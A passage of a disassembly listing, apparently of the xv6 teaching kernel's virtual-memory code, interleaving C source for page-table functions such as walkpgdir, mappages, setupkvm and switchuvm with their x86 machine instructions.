80107e5a: 83 ca 0f or $0xf,%edx
80107e5d: 88 90 9e 00 00 00 mov %dl,0x9e(%eax)
80107e63: 8b 45 f4 mov -0xc(%ebp),%eax
80107e66: 0f b6 90 9e 00 00 00 movzbl 0x9e(%eax),%edx
80107e6d: 83 e2 ef and $0xffffffef,%edx
80107e70: 88 90 9e 00 00 00 mov %dl,0x9e(%eax)
80107e76: 8b 45 f4 mov -0xc(%ebp),%eax
80107e79: 0f b6 90 9e 00 00 00 movzbl 0x9e(%eax),%edx
80107e80: 83 e2 df and $0xffffffdf,%edx
80107e83: 88 90 9e 00 00 00 mov %dl,0x9e(%eax)
80107e89: 8b 45 f4 mov -0xc(%ebp),%eax
80107e8c: 0f b6 90 9e 00 00 00 movzbl 0x9e(%eax),%edx
80107e93: 83 ca 40 or $0x40,%edx
80107e96: 88 90 9e 00 00 00 mov %dl,0x9e(%eax)
80107e9c: 8b 45 f4 mov -0xc(%ebp),%eax
80107e9f: 0f b6 90 9e 00 00 00 movzbl 0x9e(%eax),%edx
80107ea6: 83 ca 80 or $0xffffff80,%edx
80107ea9: 88 90 9e 00 00 00 mov %dl,0x9e(%eax)
80107eaf: 8b 45 f4 mov -0xc(%ebp),%eax
80107eb2: c6 80 9f 00 00 00 00 movb $0x0,0x9f(%eax)
// Map cpu, and curproc
c->gdt[SEG_KCPU] = SEG(STA_W, &c->cpu, 8, 0);
80107eb9: 8b 45 f4 mov -0xc(%ebp),%eax
80107ebc: 05 b4 00 00 00 add $0xb4,%eax
80107ec1: 89 c3 mov %eax,%ebx
80107ec3: 8b 45 f4 mov -0xc(%ebp),%eax
80107ec6: 05 b4 00 00 00 add $0xb4,%eax
80107ecb: c1 e8 10 shr $0x10,%eax
80107ece: 89 c1 mov %eax,%ecx
80107ed0: 8b 45 f4 mov -0xc(%ebp),%eax
80107ed3: 05 b4 00 00 00 add $0xb4,%eax
80107ed8: c1 e8 18 shr $0x18,%eax
80107edb: 89 c2 mov %eax,%edx
80107edd: 8b 45 f4 mov -0xc(%ebp),%eax
80107ee0: 66 c7 80 88 00 00 00 movw $0x0,0x88(%eax)
80107ee7: 00 00
80107ee9: 8b 45 f4 mov -0xc(%ebp),%eax
80107eec: 66 89 98 8a 00 00 00 mov %bx,0x8a(%eax)
80107ef3: 8b 45 f4 mov -0xc(%ebp),%eax
80107ef6: 88 88 8c 00 00 00 mov %cl,0x8c(%eax)
80107efc: 8b 45 f4 mov -0xc(%ebp),%eax
80107eff: 0f b6 88 8d 00 00 00 movzbl 0x8d(%eax),%ecx
80107f06: 83 e1 f0 and $0xfffffff0,%ecx
80107f09: 83 c9 02 or $0x2,%ecx
80107f0c: 88 88 8d 00 00 00 mov %cl,0x8d(%eax)
80107f12: 8b 45 f4 mov -0xc(%ebp),%eax
80107f15: 0f b6 88 8d 00 00 00 movzbl 0x8d(%eax),%ecx
80107f1c: 83 c9 10 or $0x10,%ecx
80107f1f: 88 88 8d 00 00 00 mov %cl,0x8d(%eax)
80107f25: 8b 45 f4 mov -0xc(%ebp),%eax
80107f28: 0f b6 88 8d 00 00 00 movzbl 0x8d(%eax),%ecx
80107f2f: 83 e1 9f and $0xffffff9f,%ecx
80107f32: 88 88 8d 00 00 00 mov %cl,0x8d(%eax)
80107f38: 8b 45 f4 mov -0xc(%ebp),%eax
80107f3b: 0f b6 88 8d 00 00 00 movzbl 0x8d(%eax),%ecx
80107f42: 83 c9 80 or $0xffffff80,%ecx
80107f45: 88 88 8d 00 00 00 mov %cl,0x8d(%eax)
80107f4b: 8b 45 f4 mov -0xc(%ebp),%eax
80107f4e: 0f b6 88 8e 00 00 00 movzbl 0x8e(%eax),%ecx
80107f55: 83 e1 f0 and $0xfffffff0,%ecx
80107f58: 88 88 8e 00 00 00 mov %cl,0x8e(%eax)
80107f5e: 8b 45 f4 mov -0xc(%ebp),%eax
80107f61: 0f b6 88 8e 00 00 00 movzbl 0x8e(%eax),%ecx
80107f68: 83 e1 ef and $0xffffffef,%ecx
80107f6b: 88 88 8e 00 00 00 mov %cl,0x8e(%eax)
80107f71: 8b 45 f4 mov -0xc(%ebp),%eax
80107f74: 0f b6 88 8e 00 00 00 movzbl 0x8e(%eax),%ecx
80107f7b: 83 e1 df and $0xffffffdf,%ecx
80107f7e: 88 88 8e 00 00 00 mov %cl,0x8e(%eax)
80107f84: 8b 45 f4 mov -0xc(%ebp),%eax
80107f87: 0f b6 88 8e 00 00 00 movzbl 0x8e(%eax),%ecx
80107f8e: 83 c9 40 or $0x40,%ecx
80107f91: 88 88 8e 00 00 00 mov %cl,0x8e(%eax)
80107f97: 8b 45 f4 mov -0xc(%ebp),%eax
80107f9a: 0f b6 88 8e 00 00 00 movzbl 0x8e(%eax),%ecx
80107fa1: 83 c9 80 or $0xffffff80,%ecx
80107fa4: 88 88 8e 00 00 00 mov %cl,0x8e(%eax)
80107faa: 8b 45 f4 mov -0xc(%ebp),%eax
80107fad: 88 90 8f 00 00 00 mov %dl,0x8f(%eax)
lgdt(c->gdt, sizeof(c->gdt));
80107fb3: 8b 45 f4 mov -0xc(%ebp),%eax
80107fb6: 83 c0 70 add $0x70,%eax
80107fb9: c7 44 24 04 38 00 00 movl $0x38,0x4(%esp)
80107fc0: 00
80107fc1: 89 04 24 mov %eax,(%esp)
80107fc4: e8 37 fb ff ff call 80107b00 <lgdt>
loadgs(SEG_KCPU << 3);
80107fc9: c7 04 24 18 00 00 00 movl $0x18,(%esp)
80107fd0: e8 6a fb ff ff call 80107b3f <loadgs>
// Initialize cpu-local storage.
cpu = c;
80107fd5: 8b 45 f4 mov -0xc(%ebp),%eax
80107fd8: 65 a3 00 00 00 00 mov %eax,%gs:0x0
proc = 0;
80107fde: 65 c7 05 04 00 00 00 movl $0x0,%gs:0x4
80107fe5: 00 00 00 00
}
80107fe9: 83 c4 24 add $0x24,%esp
80107fec: 5b pop %ebx
80107fed: 5d pop %ebp
80107fee: c3 ret
80107fef <walkpgdir>:
// Return the address of the PTE in page table pgdir
// that corresponds to virtual address va. If alloc!=0,
// create any required page table pages.
static pte_t *
walkpgdir(pde_t *pgdir, const void *va, int alloc)
{
80107fef: 55 push %ebp
80107ff0: 89 e5 mov %esp,%ebp
80107ff2: 83 ec 28 sub $0x28,%esp
pde_t *pde;
pte_t *pgtab;
pde = &pgdir[PDX(va)];
80107ff5: 8b 45 0c mov 0xc(%ebp),%eax
80107ff8: c1 e8 16 shr $0x16,%eax
80107ffb: 8d 14 85 00 00 00 00 lea 0x0(,%eax,4),%edx
80108002: 8b 45 08 mov 0x8(%ebp),%eax
80108005: 01 d0 add %edx,%eax
80108007: 89 45 f0 mov %eax,-0x10(%ebp)
if(*pde & PTE_P){
8010800a: 8b 45 f0 mov -0x10(%ebp),%eax
8010800d: 8b 00 mov (%eax),%eax
8010800f: 83 e0 01 and $0x1,%eax
80108012: 85 c0 test %eax,%eax
80108014: 74 17 je 8010802d <walkpgdir+0x3e>
pgtab = (pte_t*)p2v(PTE_ADDR(*pde));
80108016: 8b 45 f0 mov -0x10(%ebp),%eax
80108019: 8b 00 mov (%eax),%eax
8010801b: 25 00 f0 ff ff and $0xfffff000,%eax
80108020: 89 04 24 mov %eax,(%esp)
80108023: e8 44 fb ff ff call 80107b6c <p2v>
80108028: 89 45 f4 mov %eax,-0xc(%ebp)
8010802b: eb 4b jmp 80108078 <walkpgdir+0x89>
} else {
if(!alloc || (pgtab = (pte_t*)kalloc()) == 0)
8010802d: 83 7d 10 00 cmpl $0x0,0x10(%ebp)
80108031: 74 0e je 80108041 <walkpgdir+0x52>
80108033: e8 b3 aa ff ff call 80102aeb <kalloc>
80108038: 89 45 f4 mov %eax,-0xc(%ebp)
8010803b: 83 7d f4 00 cmpl $0x0,-0xc(%ebp)
8010803f: 75 07 jne 80108048 <walkpgdir+0x59>
return 0;
80108041: b8 00 00 00 00 mov $0x0,%eax
80108046: eb 47 jmp 8010808f <walkpgdir+0xa0>
// Make sure all those PTE_P bits are zero.
memset(pgtab, 0, PGSIZE);
80108048: c7 44 24 08 00 10 00 movl $0x1000,0x8(%esp)
8010804f: 00
80108050: c7 44 24 04 00 00 00 movl $0x0,0x4(%esp)
80108057: 00
80108058: 8b 45 f4 mov -0xc(%ebp),%eax
8010805b: 89 04 24 mov %eax,(%esp)
8010805e: e8 57 d4 ff ff call 801054ba <memset>
// The permissions here are overly generous, but they can
// be further restricted by the permissions in the page table
// entries, if necessary.
*pde = v2p(pgtab) | PTE_P | PTE_W | PTE_U;
80108063: 8b 45 f4 mov -0xc(%ebp),%eax
80108066: 89 04 24 mov %eax,(%esp)
80108069: e8 f1 fa ff ff call 80107b5f <v2p>
8010806e: 83 c8 07 or $0x7,%eax
80108071: 89 c2 mov %eax,%edx
80108073: 8b 45 f0 mov -0x10(%ebp),%eax
80108076: 89 10 mov %edx,(%eax)
}
return &pgtab[PTX(va)];
80108078: 8b 45 0c mov 0xc(%ebp),%eax
8010807b: c1 e8 0c shr $0xc,%eax
8010807e: 25 ff 03 00 00 and $0x3ff,%eax
80108083: 8d 14 85 00 00 00 00 lea 0x0(,%eax,4),%edx
8010808a: 8b 45 f4 mov -0xc(%ebp),%eax
8010808d: 01 d0 add %edx,%eax
}
8010808f: c9 leave
80108090: c3 ret
80108091 <mappages>:
// Create PTEs for virtual addresses starting at va that refer to
// physical addresses starting at pa. va and size might not
// be page-aligned.
static int
mappages(pde_t *pgdir, void *va, uint size, uint pa, int perm)
{
80108091: 55 push %ebp
80108092: 89 e5 mov %esp,%ebp
80108094: 83 ec 28 sub $0x28,%esp
char *a, *last;
pte_t *pte;
a = (char*)PGROUNDDOWN((uint)va);
80108097: 8b 45 0c mov 0xc(%ebp),%eax
8010809a: 25 00 f0 ff ff and $0xfffff000,%eax
8010809f: 89 45 f4 mov %eax,-0xc(%ebp)
last = (char*)PGROUNDDOWN(((uint)va) + size - 1);
801080a2: 8b 55 0c mov 0xc(%ebp),%edx
801080a5: 8b 45 10 mov 0x10(%ebp),%eax
801080a8: 01 d0 add %edx,%eax
801080aa: 83 e8 01 sub $0x1,%eax
801080ad: 25 00 f0 ff ff and $0xfffff000,%eax
801080b2: 89 45 f0 mov %eax,-0x10(%ebp)
for(;;){
if((pte = walkpgdir(pgdir, a, 1)) == 0)
801080b5: c7 44 24 08 01 00 00 movl $0x1,0x8(%esp)
801080bc: 00
801080bd: 8b 45 f4 mov -0xc(%ebp),%eax
801080c0: 89 44 24 04 mov %eax,0x4(%esp)
801080c4: 8b 45 08 mov 0x8(%ebp),%eax
801080c7: 89 04 24 mov %eax,(%esp)
801080ca: e8 20 ff ff ff call 80107fef <walkpgdir>
801080cf: 89 45 ec mov %eax,-0x14(%ebp)
801080d2: 83 7d ec 00 cmpl $0x0,-0x14(%ebp)
801080d6: 75 07 jne 801080df <mappages+0x4e>
return -1;
801080d8: b8 ff ff ff ff mov $0xffffffff,%eax
801080dd: eb 48 jmp 80108127 <mappages+0x96>
if(*pte & PTE_P)
801080df: 8b 45 ec mov -0x14(%ebp),%eax
801080e2: 8b 00 mov (%eax),%eax
801080e4: 83 e0 01 and $0x1,%eax
801080e7: 85 c0 test %eax,%eax
801080e9: 74 0c je 801080f7 <mappages+0x66>
panic("remap");
801080eb: c7 04 24 24 8f 10 80 movl $0x80108f24,(%esp)
801080f2: e8 43 84 ff ff call 8010053a <panic>
*pte = pa | perm | PTE_P;
801080f7: 8b 45 18 mov 0x18(%ebp),%eax
801080fa: 0b 45 14 or 0x14(%ebp),%eax
801080fd: 83 c8 01 or $0x1,%eax
80108100: 89 c2 mov %eax,%edx
80108102: 8b 45 ec mov -0x14(%ebp),%eax
80108105: 89 10 mov %edx,(%eax)
if(a == last)
80108107: 8b 45 f4 mov -0xc(%ebp),%eax
8010810a: 3b 45 f0 cmp -0x10(%ebp),%eax
8010810d: 75 08 jne 80108117 <mappages+0x86>
break;
8010810f: 90 nop
a += PGSIZE;
pa += PGSIZE;
}
return 0;
80108110: b8 00 00 00 00 mov $0x0,%eax
80108115: eb 10 jmp 80108127 <mappages+0x96>
if(*pte & PTE_P)
panic("remap");
*pte = pa | perm | PTE_P;
if(a == last)
break;
a += PGSIZE;
80108117: 81 45 f4 00 10 00 00 addl $0x1000,-0xc(%ebp)
pa += PGSIZE;
8010811e: 81 45 14 00 10 00 00 addl $0x1000,0x14(%ebp)
}
80108125: eb 8e jmp 801080b5 <mappages+0x24>
return 0;
}
80108127: c9 leave
80108128: c3 ret
80108129 <setupkvm>:
};
// Set up kernel part of a page table.
pde_t*
setupkvm(void)
{
80108129: 55 push %ebp
8010812a: 89 e5 mov %esp,%ebp
8010812c: 53 push %ebx
8010812d: 83 ec 34 sub $0x34,%esp
pde_t *pgdir;
struct kmap *k;
if((pgdir = (pde_t*)kalloc()) == 0)
80108130: e8 b6 a9 ff ff call 80102aeb <kalloc>
80108135: 89 45 f0 mov %eax,-0x10(%ebp)
80108138: 83 7d f0 00 cmpl $0x0,-0x10(%ebp)
8010813c: 75 0a jne 80108148 <setupkvm+0x1f>
return 0;
8010813e: b8 00 00 00 00 mov $0x0,%eax
80108143: e9 98 00 00 00 jmp 801081e0 <setupkvm+0xb7>
memset(pgdir, 0, PGSIZE);
80108148: c7 44 24 08 00 10 00 movl $0x1000,0x8(%esp)
8010814f: 00
80108150: c7 44 24 04 00 00 00 movl $0x0,0x4(%esp)
80108157: 00
80108158: 8b 45 f0 mov -0x10(%ebp),%eax
8010815b: 89 04 24 mov %eax,(%esp)
8010815e: e8 57 d3 ff ff call 801054ba <memset>
if (p2v(PHYSTOP) > (void*)DEVSPACE)
80108163: c7 04 24 00 00 00 0e movl $0xe000000,(%esp)
8010816a: e8 fd f9 ff ff call 80107b6c <p2v>
8010816f: 3d 00 00 00 fe cmp $0xfe000000,%eax
80108174: 76 0c jbe 80108182 <setupkvm+0x59>
panic("PHYSTOP too high");
80108176: c7 04 24 2a 8f 10 80 movl $0x80108f2a,(%esp)
8010817d: e8 b8 83 ff ff call 8010053a <panic>
for(k = kmap; k < &kmap[NELEM(kmap)]; k++)
80108182: c7 45 f4 c0 c4 10 80 movl $0x8010c4c0,-0xc(%ebp)
80108189: eb 49 jmp 801081d4 <setupkvm+0xab>
if(mappages(pgdir, k->virt, k->phys_end - k->phys_start,
8010818b: 8b 45 f4 mov -0xc(%ebp),%eax
8010818e: 8b 48 0c mov 0xc(%eax),%ecx
80108191: 8b 45 f4 mov -0xc(%ebp),%eax
80108194: 8b 50 04 mov 0x4(%eax),%edx
80108197: 8b 45 f4 mov -0xc(%ebp),%eax
8010819a: 8b 58 08 mov 0x8(%eax),%ebx
8010819d: 8b 45 f4 mov -0xc(%ebp),%eax
801081a0: 8b 40 04 mov 0x4(%eax),%eax
801081a3: 29 c3 sub %eax,%ebx
801081a5: 8b 45 f4 mov -0xc(%ebp),%eax
801081a8: 8b 00 mov (%eax),%eax
801081aa: 89 4c 24 10 mov %ecx,0x10(%esp)
801081ae: 89 54 24 0c mov %edx,0xc(%esp)
801081b2: 89 5c 24 08 mov %ebx,0x8(%esp)
801081b6: 89 44 24 04 mov %eax,0x4(%esp)
801081ba: 8b 45 f0 mov -0x10(%ebp),%eax
801081bd: 89 04 24 mov %eax,(%esp)
801081c0: e8 cc fe ff ff call 80108091 <mappages>
801081c5: 85 c0 test %eax,%eax
801081c7: 79 07 jns 801081d0 <setupkvm+0xa7>
(uint)k->phys_start, k->perm) < 0)
return 0;
801081c9: b8 00 00 00 00 mov $0x0,%eax
801081ce: eb 10 jmp 801081e0 <setupkvm+0xb7>
if((pgdir = (pde_t*)kalloc()) == 0)
return 0;
memset(pgdir, 0, PGSIZE);
if (p2v(PHYSTOP) > (void*)DEVSPACE)
panic("PHYSTOP too high");
for(k = kmap; k < &kmap[NELEM(kmap)]; k++)
801081d0: 83 45 f4 10 addl $0x10,-0xc(%ebp)
801081d4: 81 7d f4 00 c5 10 80 cmpl $0x8010c500,-0xc(%ebp)
801081db: 72 ae jb 8010818b <setupkvm+0x62>
if(mappages(pgdir, k->virt, k->phys_end - k->phys_start,
(uint)k->phys_start, k->perm) < 0)
return 0;
return pgdir;
801081dd: 8b 45 f0 mov -0x10(%ebp),%eax
}
801081e0: 83 c4 34 add $0x34,%esp
801081e3: 5b pop %ebx
801081e4: 5d pop %ebp
801081e5: c3 ret
801081e6 <kvmalloc>:
// Allocate one page table for the machine for the kernel address
// space for scheduler processes.
void
kvmalloc(void)
{
801081e6: 55 push %ebp
801081e7: 89 e5 mov %esp,%ebp
801081e9: 83 ec 08 sub $0x8,%esp
kpgdir = setupkvm();
801081ec: e8 38 ff ff ff call 80108129 <setupkvm>
801081f1: a3 58 63 11 80 mov %eax,0x80116358
switchkvm();
801081f6: e8 02 00 00 00 call 801081fd <switchkvm>
}
801081fb: c9 leave
801081fc: c3 ret
801081fd <switchkvm>:
// Switch h/w page table register to the kernel-only page table,
// for when no process is running.
void
switchkvm(void)
{
801081fd: 55 push %ebp
801081fe: 89 e5 mov %esp,%ebp
80108200: 83 ec 04 sub $0x4,%esp
lcr3(v2p(kpgdir)); // switch to the kernel page table
80108203: a1 58 63 11 80 mov 0x80116358,%eax
80108208: 89 04 24 mov %eax,(%esp)
8010820b: e8 4f f9 ff ff call 80107b5f <v2p>
80108210: 89 04 24 mov %eax,(%esp)
80108213: e8 3c f9 ff ff call 80107b54 <lcr3>
}
80108218: c9 leave
80108219: c3 ret
8010821a <switchuvm>:
// Switch TSS and h/w page table to correspond to process p.
void
switchuvm(struct proc *p)
{
8010821a: 55 push %ebp
8010821b: 89 e5 mov %esp,%ebp
8010821d: 53 push %ebx
8010821e: 83 ec 14 sub $0x14,%esp
pushcli();
80108221: e8 91 d1 ff ff call 801053b7 <pushcli>
cpu->gdt[SEG_TSS] = SEG16(STS_T32A, &cpu->ts, sizeof(cpu->ts)-1, 0);
80108226: 65 a1 00 00 00 00 mov %gs:0x0,%eax
8010822c: 65 8b 15 00 00 00 00 mov %gs:0x0,%edx
80108233: 83 c2 08 add $0x8,%edx
80108236: 89 d3 mov %edx,%ebx
80108238: 65 8b 15 00 00 00 00 mov %gs:0x0,%edx
8010823f: 83 c2 08 add $0x8,%edx
80108242: c1 ea 10 shr $0x10,%edx
80108245: 89 d1 mov %edx,%ecx
80108247: 65 8b 15 00 00 00 00 mov %gs:0x0,%edx
8010824e: 83 c2 08 add $0x8,%edx
80108251: c1 ea 18 shr $0x18,%edx
80108254: 66 c7 80 a0 00 00 00 movw $0x67,0xa0(%eax)
8010825b: 67 00
8010825d: 66 89 98 a2 00 00 00 mov %bx,0xa2(%eax)
80108264: 88 88 a4 00 00 00 mov %cl,0xa4(%eax)
8010826a: 0f b6 88 a5 00 00 00 movzbl 0xa5(%eax),%ecx
80108271: 83 e1 f0 and $0xfffffff0,%ecx
80108274: 83 c9 09 or $0x9,%ecx
80108277: 88 88 a5 00 00 00 mov %cl,0xa5(%eax)
8010827d: 0f b6 88 a5 00 00 00 movzbl 0xa5(%eax),%ecx
80108284: 83 c9 10 or $0x10,%ecx
80108287: 88 88 a5 00 00 00 mov %cl,0xa5(%eax)
8010828d: 0f b6 88 a5 00 00 00 movzbl 0xa5(%eax),%ecx
80108294: 83 e1 9f and $0xffffff9f,%ecx
80108297: 88 88 a5 00 00 00 mov %cl,0xa5(%eax)
8010829d: 0f b6 88 a5 00 00 00 movzbl 0xa5(%eax),%ecx
801082a4: 83 c9 80 or $0xffffff80,%ecx
801082a7: 88 88 a5 00 00 00 mov %cl,0xa5(%eax)
801082ad: 0f b6 88 a6 00 00 00 movzbl 0xa6(%eax),%ecx
801082b4: 83 e1 f0 and $0xfffffff0,%ecx
801082b7: 88 88 a6 00 00 00 mov %cl,0xa6(%eax)
801082bd: 0f b6 88 a6 00 00 00 movzbl 0xa6(%eax),%ecx
801082c4: 83 e1 ef and $0xffffffef,%ecx
801082c7: 88 88 a6 00 00 00 mov %cl,0xa6(%eax)
801082cd: 0f b6 88 a6 00 00 00 movzbl 0xa6(%eax),%ecx
801082d4: 83 e1 df and $0xffffffdf,%ecx
801082d7: 88 88 a6 00 00 00 mov %cl,0xa6(%eax)
801082dd: 0f b6 88 a6 00 00 00 movzbl 0xa6(%eax),%ecx
801082e4: 83 c9 40 or $0x40,%ecx
801082e7: 88 88 a6 00 00 00 mov %cl,0xa6(%eax)
801082ed: 0f b6 88 a6 00 00 00 movzbl 0xa6(%eax),%ecx
801082f4: 83 e1 7f and $0x7f,%ecx
801082f7: 88 88 a6 00 00 00 mov %cl,0xa6(%eax)
801082fd: 88 90 a7 00 00 00 mov %dl,0xa7(%eax)
cpu->gdt[SEG_TSS].s = 0;
80108303: 65 a1 00 00 00 00 mov %gs:0x0,%eax
80108309: 0f b6 90 a5 00 00 00 movzbl 0xa5(%eax),%edx
80108310: 83 e2 ef and $0xffffffef,%edx
80108313: 88 90 a5 00 00 00 mov %dl,0xa5(%eax)
cpu->ts.ss0 = SEG_KDATA << 3;
80108319: 65 a1 00 00 00 00 mov %gs:0x0,%eax
8010831f: 66 c7 40 10 10 00 movw $0x10,0x10(%eax)
cpu->ts.esp0 = (uint)proc->kstack + KSTACKSIZE;
80108325: 65 a1 00 00 00 00 mov %gs:0x0,%eax
8010832b: 65 8b 15 04 00 00 00 mov %gs:0x4,%edx
80108332: 8b 52 08 mov 0x8(%edx),%edx
80108335: 81 c2 00 10 00 00 add $0x1000,%edx
8010833b: 89 50 0c mov %edx,0xc(%eax)
ltr(SEG_TSS << 3);
8010833e: c7 04 24 30 00 00 00 movl $0x30,(%esp)
80108345: e8 df f7 ff ff call 80107b29 <ltr>
if(p->pgdir == 0)
8010834a: 8b 45 08 mov 0x8(%ebp),%eax
8010834d: 8b 40 04 mov 0x4(%eax),%eax
80108350: 85 c0 test %eax,%eax
80108352: 75 0c jne 80108360 <switchuvm+0x146>
panic("switchuvm: no pgdir");
80108354: c7 04 24 3b 8f 10 80 movl $0x80108f3b,(%esp)
8010835b: e8 da 81 ff ff call 8010053a <panic>
lcr3(v2p(p->pgdir)); // switch to new address space
80108360: 8b 45 08 mov 0x8(%ebp),%eax
80108363: 8b 40 04 mov 0x4(%eax),%eax
80108366: 89 04 24 mov %eax,(%esp)
80108369: e8 f1 f7 ff ff call 80107b5f <v2p>
8010836e: 89 04 24 mov %eax,(%esp)
80108371: e8 de f7 ff ff call 80107b54 <lcr3>
popcli();
80108376: e8 80 d0 ff ff call 801053fb <popcli>
}
8010837b: 83 c4 14 add $0x14,%esp
8010837e: 5b pop %ebx
8010837f: 5d pop %ebp
80108380: c3 ret
80108381 <inituvm>:
// Load the initcode into address 0 of pgdir.
// sz must be less than a page.
void
inituvm(pde_t *pgdir, char *init, uint sz)
{
80108381: 55 push %ebp
80108382: 89 e5 mov %esp,%ebp
80108384: 83 ec 38 sub $0x38,%esp
char *mem;
if(sz >= PGSIZE)
80108387: 81 7d 10 ff 0f 00 00 cmpl $0xfff,0x10(%ebp)
8010838e: 76 0c jbe 8010839c <inituvm+0x1b>
panic("inituvm: more than a page");
80108390: c7 04 24 4f 8f 10 80 movl $0x80108f4f,(%esp)
80108397: e8 9e 81 ff ff call 8010053a <panic>
mem = kalloc();
8010839c: e8 4a a7 ff ff call 80102aeb <kalloc>
801083a1: 89 45 f4 mov %eax,-0xc(%ebp)
memset(mem, 0, PGSIZE);
801083a4: c7 44 24 08 00 10 00 movl $0x1000,0x8(%esp)
801083ab: 00
801083ac: c7 44 24 04 00 00 00 movl $0x0,0x4(%esp)
801083b3: 00
801083b4: 8b 45 f4 mov -0xc(%ebp),%eax
801083b7: 89 04 24 mov %eax,(%esp)
801083ba: e8 fb d0 ff ff call 801054ba <memset>
mappages(pgdir, 0, PGSIZE, v2p(mem), PTE_W|PTE_U);
801083bf: 8b 45 f4 mov -0xc(%ebp),%eax
801083c2: 89 04 24 mov %eax,(%esp)
801083c5: e8 95 f7 ff ff call 80107b5f <v2p>
801083ca: c7 44 24 10 06 00 00 movl $0x6,0x10(%esp)
801083d1: 00
801083d2: 89 44 24 0c mov %eax,0xc(%esp)
801083d6: c7 44 24 08 00 10 00 movl $0x1000,0x8(%esp)
801083dd: 00
801083de: c7 44 24 04 00 00 00 movl $0x0,0x4(%esp)
801083e5: 00
801083e6: 8b 45 08 mov 0x8(%ebp),%eax
801083e9: 89 04 24 mov %eax,(%esp)
801083ec: e8 a0 fc ff ff call 80108091 <mappages>
memmove(mem, init, sz);
801083f1: 8b 45 10 mov 0x10(%ebp),%eax
801083f4: 89 44 24 08 mov %eax,0x8(%esp)
801083f8: 8b 45 0c mov 0xc(%ebp),%eax
801083fb: 89 44 24 04 mov %eax,0x4(%esp)
801083ff: 8b 45 f4 mov -0xc(%ebp),%eax
80108402: 89 04 24 mov %eax,(%esp)
80108405: e8 7f d1 ff ff call 80105589 <memmove>
}
8010840a: c9 leave
8010840b: c3 ret
8010840c <loaduvm>:
// Load a program segment into pgdir. addr must be page-aligned
// and the pages from addr to addr+sz must already be mapped.
int
loaduvm(pde_t *pgdir, char *addr, struct inode *ip, uint offset, uint sz)
{
8010840c: 55 push %ebp
8010840d: 89 e5 mov %esp,%ebp
8010840f: 53 push %ebx
80108410: 83 ec 24 sub $0x24,%esp
uint i, pa, n;
pte_t *pte;
if((uint) addr % PGSIZE != 0)
80108413: 8b 45 0c mov 0xc(%ebp),%eax
80108416: 25 ff 0f 00 00 and $0xfff,%eax
8010841b: 85 c0 test %eax,%eax
8010841d: 74 0c je 8010842b <loaduvm+0x1f>
panic("loaduvm: addr must be page aligned");
8010841f: c7 04 24 6c 8f 10 80 movl $0x80108f6c,(%esp)
80108426: e8 0f 81 ff ff call 8010053a <panic>
for(i = 0; i < sz; i += PGSIZE){
8010842b: c7 45 f4 00 00 00 00 movl $0x0,-0xc(%ebp)
80108432: e9 a9 00 00 00 jmp 801084e0 <loaduvm+0xd4>
if((pte = walkpgdir(pgdir, addr+i, 0)) == 0)
80108437: 8b 45 f4 mov -0xc(%ebp),%eax
8010843a: 8b 55 0c mov 0xc(%ebp),%edx
8010843d: 01 d0 add %edx,%eax
8010843f: c7 44 24 08 00 00 00 movl $0x0,0x8(%esp)
80108446: 00
80108447: 89 44 24 04 mov %eax,0x4(%esp)
8010844b: 8b 45 08 mov 0x8(%ebp),%eax
8010844e: 89 04 24 mov %eax,(%esp)
80108451: e8 99 fb ff ff call 80107fef <walkpgdir>
80108456: 89 45 ec mov %eax,-0x14(%ebp)
80108459: 83 7d ec 00 cmpl $0x0,-0x14(%ebp)
8010845d: 75 0c jne 8010846b <loaduvm+0x5f>
panic("loaduvm: address should exist");
8010845f: c7 04 24 8f 8f 10 80 movl $0x80108f8f,(%esp)
80108466: e8 cf 80 ff ff call 8010053a <panic>
pa = PTE_ADDR(*pte);
8010846b: 8b 45 ec mov -0x14(%ebp),%eax
8010846e: 8b 00 mov (%eax),%eax
80108470: 25 00 f0 ff ff and $0xfffff000,%eax
80108475: 89 45 e8 mov %eax,-0x18(%ebp)
if(sz - i < PGSIZE)
80108478: 8b 45 f4 mov -0xc(%ebp),%eax
8010847b: 8b 55 18 mov 0x18(%ebp),%edx
8010847e: 29 c2 sub %eax,%edx
80108480: 89 d0 mov %edx,%eax
80108482: 3d ff 0f 00 00 cmp $0xfff,%eax
80108487: 77 0f ja 80108498 <loaduvm+0x8c>
n = sz - i;
80108489: 8b 45 f4 mov -0xc(%ebp),%eax
8010848c: 8b 55 18 mov 0x18(%ebp),%edx
8010848f: 29 c2 sub %eax,%edx
80108491: 89 d0 mov %edx,%eax
80108493: 89 45 f0 mov %eax,-0x10(%ebp)
80108496: eb 07 jmp 8010849f <loaduvm+0x93>
else
n = PGSIZE;
80108498: c7 45 f0 00 10 00 00 movl $0x1000,-0x10(%ebp)
if(readi(ip, p2v(pa), offset+i, n) != n)
8010849f: 8b 45 f4 mov -0xc(%ebp),%eax
801084a2: 8b 55 14 mov 0x14(%ebp),%edx
801084a5: 8d 1c 02 lea (%edx,%eax,1),%ebx
801084a8: 8b 45 e8 mov -0x18(%ebp),%eax
801084ab: 89 04 24 mov %eax,(%esp)
801084ae: e8 b9 f6 ff ff call 80107b6c <p2v>
801084b3: 8b 55 f0 mov -0x10(%ebp),%edx
801084b6: 89 54 24 0c mov %edx,0xc(%esp)
801084ba: 89 5c 24 08 mov %ebx,0x8(%esp)
801084be: 89 44 24 04 mov %eax,0x4(%esp)
801084c2: 8b 45 10 mov 0x10(%ebp),%eax
801084c5: 89 04 24 mov %eax,(%esp)
801084c8: e8 9e 98 ff ff call 80101d6b <readi>
801084cd: 3b 45 f0 cmp -0x10(%ebp),%eax
801084d0: 74 07 je 801084d9 <loaduvm+0xcd>
return -1;
801084d2: b8 ff ff ff ff mov $0xffffffff,%eax
801084d7: eb 18 jmp 801084f1 <loaduvm+0xe5>
uint i, pa, n;
pte_t *pte;
if((uint) addr % PGSIZE != 0)
panic("loaduvm: addr must be page aligned");
for(i = 0; i < sz; i += PGSIZE){
801084d9: 81 45 f4 00 10 00 00 addl $0x1000,-0xc(%ebp)
801084e0: 8b 45 f4 mov -0xc(%ebp),%eax
801084e3: 3b 45 18 cmp 0x18(%ebp),%eax
801084e6: 0f 82 4b ff ff ff jb 80108437 <loaduvm+0x2b>
else
n = PGSIZE;
if(readi(ip, p2v(pa), offset+i, n) != n)
return -1;
}
return 0;
801084ec: b8 00 00 00 00 mov $0x0,%eax
}
801084f1: 83 c4 24 add $0x24,%esp
801084f4: 5b pop %ebx
801084f5: 5d pop %ebp
801084f6: c3 ret
801084f7 <allocuvm>:
// Allocate page tables and physical memory to grow process from oldsz to
// newsz, which need not be page aligned. Returns new size or 0 on error.
int
allocuvm(pde_t *pgdir, uint oldsz, uint newsz)
{
801084f7: 55 push %ebp
801084f8: 89 e5 mov %esp,%ebp
